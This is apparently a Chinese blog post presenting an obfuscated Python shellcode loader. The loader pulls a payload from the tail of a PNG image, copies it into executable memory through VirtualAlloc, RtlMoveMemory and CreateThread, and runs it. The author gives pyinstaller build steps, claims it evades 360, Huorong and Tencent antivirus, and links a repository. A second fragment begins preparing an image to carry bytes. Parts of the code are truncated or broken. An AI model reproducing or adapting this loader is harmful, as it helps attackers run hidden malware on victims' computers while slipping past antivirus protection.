# 将当前工作目录添加到系统路径中,以便导入其他模块
sys.path.append(os.getcwd)

# 定义一个变量,赋值为892,这可能是一个用于加密或解密的密钥
po090op9989080o909o90o09o9i9oi99o9 = 892
# 等待2秒,这可能是为了避免被检测或等待其他进程完成
time.sleep(2)
# 调用en模块的一个函数,以二进制读模式打开一个名为a.png的文件,并将返回值赋给另一个变量
o000op8980o890op90800o909 = en.o090o09pi98io9i09i9ioi('a.png','rb')
# 从文件中读取最后892个字节,并赋值给另一个变量,这可能是一个隐藏在图片中的恶意代码
o0ooo0o0o0oo0o0op0o0o0opo0o89 = o000op8980o890op90800o909.read()[-po090op9989080o909o90o09o9i9oi99o9:]
# 调用en模块的另一个函数,对读取到的字节进行某种操作,可能是解密或解压缩
en.po090o09o9o89iu9oi09ioi09o(o0ooo0o0o0oo0o0op0o0o0opo0o89)
# 调用en模块的另一个函数,输出'ok',可能是为了表示操作成功
en.po090o09o9o89iu9oi09ioi09o('ok')
#
# 使用ctypes模块调用Windows API函数VirtualAlloc,用于在内存中分配一块可执行的空间,并返回其地址
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(o0ooo0o0o0oo0o0op0o0o0opo0o89), 0x1000, 0x40)
# 调用en模块的另一个函数,对分配的内存地址进行某种操作,可能是加密或混淆
en.ok09i09i9io(en.fja8g9u9guare8g0argua0rgu(rwxpage), ctypes.create_string_buffer(o0ooo0o0o0oo0o0op0o0o0opo0o89), 
len(o0ooo0o0o0oo0o0op0o0o0opo0o89))
# 调用en模块的另一个函数,创建一个新的进程,并将分配的内存地址作为参数传递给它,可能是为了执行恶意代码
handle = en.sg1r5g1rgb1seth4ckbu77er5he4zt51hs5(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
# 使用ctypes模块调用Windows API函数WaitForSingleObject,用于等待新创建的进程结束
ctypes.wind
                                                                                                                
                                                                                         # 导入ctypes模块,用于调用C语言的函数和数据类型
import ctypes

# 定义一个变量,赋值为print函数,用于输出内容
po090o09o9o89iu9oi09ioi09o = print

# 定义一个变量,赋值为ctypes模块,用于简化后续的代码
oo90o890i0oi9io9i0oi9k09ii = ctypes

# 定义一个变量,赋值为open函数,用于打开文件
o090o09pi98io9i09i9ioi = open

# 定义一个变量,赋值为ctypes模块调用Windows API函数RtlMoveMemory,用于在内存中移动数据
ok09i09i9io = ctypes.windll.kernel32.RtlMoveMemory

# 定义一个变量,赋值为ctypes模块的c_uint64类型,用于表示无符号的64位整数
o0oo00o0o0i09i09i = ctypes.c_uint64

# 定义一个变量,赋值为ctypes模块调用Windows API函数CreateThread,用于创建一个新的线程
sg1r5g1rgb1seth4ckbu77er5he4zt51hs5 = ctypes.windll.kernel32.CreateThread

# 定义一个变量,赋值为ctypes模块调用windll属性,用于加载动态链接库
i90i09i09i0i9 = ctypes.windll

# 定义一个变量,赋值为ctypes模块调用Windows API函数RtlMoveMemory,用于在内存中移动数据
i9u89u98u98u0u09u0u990 = i90i09i09i0i9.kernel32.RtlMoveMemory

# 定义一个变量,赋值为ctypes模块的c_uint64类型,用于表示无符号的64位整数
fja8g9u9guare8g0argua0rgu = ctypes.c_uint64


用pyinstaller生成一下
                                                                                                                
正常过360,火绒,腾讯管家

这些源码已上传至 github

https://github.com/soryecker/PicBypass                                                                                        
# 从网上下载一张图片,并转换为字节流
import urllib3
import os
# PIL图像处理标准库
from PIL import Image
from io import BytesIO

http = urllib3.PoolManager()
response = http.request('GET', 'https://pic.cnblogs.com/avatar/875028/20160405220401.png')
result = response.data
# 将bytes结果转化为字节流
bytes_stream = BytesIO(result)
# 读取到图片
roiimg = Image.open(bytes_stream)

# 生成一个随机的bytes字符串
import random
import string

def random_bytes(length):
    return bytes(''.join(random.choice(string.ascii_letters 
  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值